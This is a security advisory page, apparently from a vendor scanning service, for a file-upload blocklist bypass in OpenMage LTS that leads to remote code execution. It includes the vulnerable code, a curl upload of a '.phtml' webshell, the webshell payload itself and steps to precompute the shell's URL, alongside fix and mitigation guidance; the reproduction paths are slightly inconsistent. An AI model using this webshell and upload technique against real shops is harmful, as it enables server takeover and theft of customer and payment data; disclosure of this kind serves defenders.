Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-3j5q-7q7h-2hhv

HIGH

GHSA-3j5q-7q7h-2hhv is a high-severity (CVSS 8.8) remote code execution vulnerability in openmage/magento-lts. O3 Security confirms whether GHSA-3j5q-7q7h-2hhv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution

Also known asCVE-2026-40488
Published
Apr 21, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐘openmage/magento-lts

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "[email protected];filename=shell.phtml"

Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

SubdirectorygetDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filenamemd5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />

Affected Deployments

ConfigurationStatus
Apache + mod_php (with php_flag engine 0)SAFE
Apache + PHP-FPMVULNERABLE
Nginx (reference hardened config)SAFE
Nginx (generic config with .phtml→FPM)VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistopenmage/magento-ltsall versions20.17.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openmage/magento-lts. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update openmage/magento-lts to 20.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3j5q-7q7h-2hhv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3j5q-7q7h-2hhv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3j5q-7q7h-2hhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. ## Affected Version - **Project:*
O3 Security · Impact-Aware SCA

Is GHSA-3j5q-7q7h-2hhv in your dependencies?

O3 detects GHSA-3j5q-7q7h-2hhv across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.